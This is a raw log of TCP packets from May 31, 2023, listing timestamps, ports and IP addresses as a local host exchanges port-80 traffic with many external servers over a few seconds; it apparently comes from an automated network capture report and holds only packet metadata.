May 31, 2023 14:50:57.745717049 CEST	50043	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:57.749667883 CEST	50043	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:57.757724047 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.757766962 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.757786036 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.757805109 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.757822990 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.757842064 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.757860899 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.757867098 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:57.757880926 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.757935047 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:57.766446114 CEST	80	50043	23.227.38.74	192.168.2.3
May 31, 2023 14:50:57.821003914 CEST	80	49948	185.53.177.50	192.168.2.3
May 31, 2023 14:50:57.821013927 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:57.821119070 CEST	49948	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:57.821985006 CEST	50044	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:57.838540077 CEST	50045	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:57.840811014 CEST	80	49859	3.65.101.129	192.168.2.3
May 31, 2023 14:50:57.841418982 CEST	80	50044	3.65.101.129	192.168.2.3
May 31, 2023 14:50:57.841600895 CEST	50044	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:57.842061996 CEST	50044	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:57.859755039 CEST	50046	80	192.168.2.3	198.100.146.220
May 31, 2023 14:50:57.861541986 CEST	80	50044	3.65.101.129	192.168.2.3
May 31, 2023 14:50:57.862673044 CEST	80	50044	3.65.101.129	192.168.2.3
May 31, 2023 14:50:57.862757921 CEST	50044	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:57.865031004 CEST	50044	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:57.885188103 CEST	80	50044	3.65.101.129	192.168.2.3
May 31, 2023 14:50:57.886481047 CEST	50044	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:57.887967110 CEST	50044	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:57.892326117 CEST	80	50042	69.163.218.51	192.168.2.3
May 31, 2023 14:50:57.892822027 CEST	50042	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:57.893335104 CEST	50042	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:57.897638083 CEST	80	50043	23.227.38.74	192.168.2.3
May 31, 2023 14:50:57.899458885 CEST	50043	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:57.908055067 CEST	80	50044	3.65.101.129	192.168.2.3
May 31, 2023 14:50:57.908375978 CEST	50044	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:57.943068981 CEST	80	50045	208.97.178.138	192.168.2.3
May 31, 2023 14:50:57.943519115 CEST	50045	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:57.953942060 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.953999996 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.954020023 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.954041004 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.954060078 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.954078913 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.954098940 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.954102039 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:57.954117060 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.954134941 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.954138041 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:57.954154015 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.954154015 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:57.954173088 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.954178095 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:57.954191923 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.954210997 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.954221964 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:57.954231024 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.954257011 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:57.954277992 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:57.956698895 CEST	50045	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:57.980940104 CEST	50044	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:57.985287905 CEST	49753	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:57.986150026 CEST	50047	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:58.001178980 CEST	80	50044	3.65.101.129	192.168.2.3
May 31, 2023 14:50:58.001363039 CEST	50044	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:58.057773113 CEST	80	50042	69.163.218.51	192.168.2.3
May 31, 2023 14:50:58.058554888 CEST	80	50042	69.163.218.51	192.168.2.3
May 31, 2023 14:50:58.058693886 CEST	50042	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:58.059370041 CEST	80	50042	69.163.218.51	192.168.2.3
May 31, 2023 14:50:58.059474945 CEST	50042	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:58.061034918 CEST	80	50045	208.97.178.138	192.168.2.3
May 31, 2023 14:50:58.062119961 CEST	80	50045	208.97.178.138	192.168.2.3
May 31, 2023 14:50:58.062222004 CEST	50045	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:58.063051939 CEST	80	50045	208.97.178.138	192.168.2.3
May 31, 2023 14:50:58.063126087 CEST	50045	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:58.074799061 CEST	50042	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:58.126720905 CEST	50045	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:58.150393963 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:58.150455952 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:58.150469065 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:58.150489092 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:58.150504112 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:58.150521994 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:58.150542021 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:58.150559902 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:58.150645971 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:58.150698900 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:58.165635109 CEST	80	49753	208.109.214.162	192.168.2.3
May 31, 2023 14:50:58.166264057 CEST	80	50047	208.109.214.162	192.168.2.3
May 31, 2023 14:50:58.166405916 CEST	50047	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:58.191761017 CEST	50044	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:58.212028980 CEST	80	50044	3.65.101.129	192.168.2.3
May 31, 2023 14:50:58.212176085 CEST	50044	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:58.231079102 CEST	80	50045	208.97.178.138	192.168.2.3
May 31, 2023 14:50:58.239332914 CEST	80	50042	69.163.218.51	192.168.2.3
May 31, 2023 14:50:58.254688978 CEST	50047	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:58.306339025 CEST	50025	80	192.168.2.3	39.99.233.155
May 31, 2023 14:50:58.435091972 CEST	80	50047	208.109.214.162	192.168.2.3
May 31, 2023 14:50:58.435746908 CEST	80	50047	208.109.214.162	192.168.2.3
May 31, 2023 14:50:58.435878038 CEST	50047	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:58.544187069 CEST	80	49958	157.112.182.239	192.168.2.3
May 31, 2023 14:50:58.544452906 CEST	49958	80	192.168.2.3	157.112.182.239
May 31, 2023 14:50:58.840336084 CEST	80	50008	185.80.51.179	192.168.2.3
May 31, 2023 14:50:58.840559006 CEST	50008	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:58.963197947 CEST	50048	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:59.067758083 CEST	80	50048	208.97.178.138	192.168.2.3
May 31, 2023 14:50:59.068048954 CEST	50048	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:59.155931950 CEST	49765	80	192.168.2.3	147.154.3.56
May 31, 2023 14:50:59.156313896 CEST	50048	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:59.156368017 CEST	50047	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:59.157371998 CEST	50049	80	192.168.2.3	147.154.3.56
May 31, 2023 14:50:59.175770044 CEST	50050	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:59.260680914 CEST	80	50048	208.97.178.138	192.168.2.3
May 31, 2023 14:50:59.261617899 CEST	80	50048	208.97.178.138	192.168.2.3
May 31, 2023 14:50:59.261694908 CEST	50048	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:59.262542009 CEST	80	50048	208.97.178.138	192.168.2.3
May 31, 2023 14:50:59.262619019 CEST	50048	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:59.265676975 CEST	80	49765	147.154.3.56	192.168.2.3
May 31, 2023 14:50:59.266311884 CEST	80	50049	147.154.3.56	192.168.2.3
May 31, 2023 14:50:59.266408920 CEST	50049	80	192.168.2.3	147.154.3.56
May 31, 2023 14:50:59.290213108 CEST	50048	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:59.337256908 CEST	80	50047	208.109.214.162	192.168.2.3
May 31, 2023 14:50:59.337351084 CEST	50047	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:59.343727112 CEST	80	50050	103.224.182.241	192.168.2.3
May 31, 2023 14:50:59.343883038 CEST	50050	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:59.394691944 CEST	80	50048	208.97.178.138	192.168.2.3
May 31, 2023 14:50:59.408720970 CEST	80	50009	60.43.154.138	192.168.2.3
May 31, 2023 14:50:59.408907890 CEST	50009	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:59.520562887 CEST	50051	80	192.168.2.3	34.197.121.219
May 31, 2023 14:50:59.530910015 CEST	50049	80	192.168.2.3	147.154.3.56
May 31, 2023 14:50:59.537717104 CEST	49976	80	192.168.2.3	137.118.26.67
May 31, 2023 14:50:59.598253012 CEST	50050	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:59.640084982 CEST	80	50049	147.154.3.56	192.168.2.3
May 31, 2023 14:50:59.653887033 CEST	80	50049	147.154.3.56	192.168.2.3
May 31, 2023 14:50:59.653991938 CEST	80	50049	147.154.3.56	192.168.2.3
May 31, 2023 14:50:59.654011011 CEST	50049	80	192.168.2.3	147.154.3.56
May 31, 2023 14:50:59.654058933 CEST	50049	80	192.168.2.3	147.154.3.56
May 31, 2023 14:50:59.665486097 CEST	80	50051	34.197.121.219	192.168.2.3
May 31, 2023 14:50:59.665682077 CEST	50051	80	192.168.2.3	34.197.121.219
May 31, 2023 14:50:59.672399044 CEST	50051	80	192.168.2.3	34.197.121.219
May 31, 2023 14:50:59.807903051 CEST	80	50050	103.224.182.241	192.168.2.3
May 31, 2023 14:50:59.815515995 CEST	80	50050	103.224.182.241	192.168.2.3
May 31, 2023 14:50:59.815566063 CEST	80	50050	103.224.182.241	192.168.2.3
May 31, 2023 14:50:59.815794945 CEST	50050	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:59.818104029 CEST	80	50051	34.197.121.219	192.168.2.3
May 31, 2023 14:50:59.818418026 CEST	80	50051	34.197.121.219	192.168.2.3
May 31, 2023 14:50:59.818442106 CEST	80	50051	34.197.121.219	192.168.2.3
May 31, 2023 14:50:59.818461895 CEST	80	50051	34.197.121.219	192.168.2.3
May 31, 2023 14:50:59.818481922 CEST	80	50051	34.197.121.219	192.168.2.3
May 31, 2023 14:50:59.818500996 CEST	80	50051	34.197.121.219	192.168.2.3
May 31, 2023 14:50:59.818562984 CEST	50051	80	192.168.2.3	34.197.121.219
May 31, 2023 14:50:59.818598032 CEST	50051	80	192.168.2.3	34.197.121.219
May 31, 2023 14:50:59.855600119 CEST	50050	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:59.865317106 CEST	49978	80	192.168.2.3	64.125.133.18
May 31, 2023 14:51:00.023802042 CEST	80	50050	103.224.182.241	192.168.2.3
May 31, 2023 14:51:00.032396078 CEST	80	50016	69.163.239.62	192.168.2.3
May 31, 2023 14:51:00.032617092 CEST	50016	80	192.168.2.3	69.163.239.62
May 31, 2023 14:51:00.439712048 CEST	80	50021	108.167.164.216	192.168.2.3
May 31, 2023 14:51:00.439920902 CEST	50021	80	192.168.2.3	108.167.164.216
May 31, 2023 14:51:00.442657948 CEST	80	50029	217.19.237.54	192.168.2.3
May 31, 2023 14:51:00.442819118 CEST	50029	80	192.168.2.3	217.19.237.54
May 31, 2023 14:51:00.718580008 CEST	49768	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:00.727626085 CEST	50052	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:00.735740900 CEST	80	49768	188.114.97.7	192.168.2.3
May 31, 2023 14:51:00.735805035 CEST	49768	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:00.744174957 CEST	80	50052	188.114.97.7	192.168.2.3
May 31, 2023 14:51:00.744297028 CEST	50052	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:00.778364897 CEST	50052	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:00.779270887 CEST	80	50026	72.44.93.236	192.168.2.3
May 31, 2023 14:51:00.779372931 CEST	50026	80	192.168.2.3	72.44.93.236
May 31, 2023 14:51:00.794910908 CEST	80	50052	188.114.97.7	192.168.2.3
May 31, 2023 14:51:00.808887959 CEST	80	50052	188.114.97.7	192.168.2.3
May 31, 2023 14:51:00.809076071 CEST	50052	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:00.920079947 CEST	50052	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:00.924674034 CEST	80	50032	165.227.252.190	192.168.2.3
May 31, 2023 14:51:00.924746037 CEST	50032	80	192.168.2.3	165.227.252.190
May 31, 2023 14:51:00.927213907 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:00.927881956 CEST	50046	80	192.168.2.3	198.100.146.220
May 31, 2023 14:51:00.928378105 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:00.943519115 CEST	80	50052	188.114.97.7	192.168.2.3
May 31, 2023 14:51:00.943773985 CEST	50052	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:01.025804996 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.045912981 CEST	49770	80	192.168.2.3	162.43.120.128
May 31, 2023 14:51:01.046552896 CEST	50055	80	192.168.2.3	162.43.120.128
May 31, 2023 14:51:01.053093910 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.054455042 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.054547071 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.055161953 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.055243015 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.150589943 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.150713921 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.151062965 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.181154966 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.181184053 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.182235956 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.275708914 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.319525003 CEST	80	49770	162.43.120.128	192.168.2.3
May 31, 2023 14:51:01.321778059 CEST	80	50055	162.43.120.128	192.168.2.3
May 31, 2023 14:51:01.321911097 CEST	50055	80	192.168.2.3	162.43.120.128
May 31, 2023 14:51:01.326256990 CEST	50055	80	192.168.2.3	162.43.120.128
May 31, 2023 14:51:01.594774008 CEST	80	50038	188.166.152.188	192.168.2.3
May 31, 2023 14:51:01.594886065 CEST	50038	80	192.168.2.3	188.166.152.188
May 31, 2023 14:51:01.601602077 CEST	80	50055	162.43.120.128	192.168.2.3
May 31, 2023 14:51:01.602552891 CEST	80	50055	162.43.120.128	192.168.2.3
May 31, 2023 14:51:01.602650881 CEST	50055	80	192.168.2.3	162.43.120.128
May 31, 2023 14:51:01.608989000 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.609023094 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.609041929 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.609061003 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.609078884 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.609098911 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.609116077 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.609136105 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.609133959 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.609154940 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.609179974 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.609204054 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.614092112 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.614309072 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.635514021 CEST	50055	80	192.168.2.3	162.43.120.128
May 31, 2023 14:51:01.733869076 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.733910084 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.733927965 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.733947992 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.733967066 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.733987093 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.734005928 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.734025955 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.734044075 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.734061956 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.734080076 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.734097958 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.734116077 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.734136105 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.734139919 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.734153986 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.734196901 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.734220982 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.739057064 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.739090919 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.739109039 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.739129066 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.739140987 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.739146948 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.739167929 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.739187002 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.739187956 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.739208937 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.739209890 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.739228010 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.739229918 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.739248991 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.739260912 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.739293098 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.777621984 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.777651072 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.777668953 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.777688026 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.777705908 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.777806997 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.777839899 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.858896017 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.858937025 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.858957052 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.858980894 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859005928 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859033108 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859052896 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859075069 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859092951 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859112024 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859136105 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859146118 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859160900 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859179974 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859194994 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859200001 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859220028 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859221935 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859240055 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859241962 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859258890 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859270096 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859281063 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859297037 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859303951 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859323978 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859325886 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859340906 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859345913 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859359980 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859381914 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859417915 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859467983 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859499931 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859538078 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859544992 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859565020 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859579086 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859586954 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859606028 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859623909 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859726906 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859747887 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859765053 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859766960 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859786987 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.859790087 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859807968 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.859827995 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.865336895 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.865380049 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.865649939 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.869731903 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.869775057 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.870126963 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.878628016 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.878664017 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.879023075 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.887358904 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.887418985 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.887655973 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.896179914 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.896222115 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.896605015 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.898843050 CEST	80	49921	208.97.178.138	192.168.2.3
May 31, 2023 14:51:01.902431011 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.902463913 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.902482986 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.902501106 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.902519941 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.902538061 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.902560949 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.902581930 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.902601957 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.902620077 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.902740955 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.902801991 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.905005932 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.905041933 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.905143976 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.910794020 CEST	80	50055	162.43.120.128	192.168.2.3
May 31, 2023 14:51:01.912180901 CEST	80	50055	162.43.120.128	192.168.2.3
May 31, 2023 14:51:01.912321091 CEST	50055	80	192.168.2.3	162.43.120.128
May 31, 2023 14:51:01.913752079 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.913779974 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.913950920 CEST	50053	80	192.168.2.3	74.208.236.101
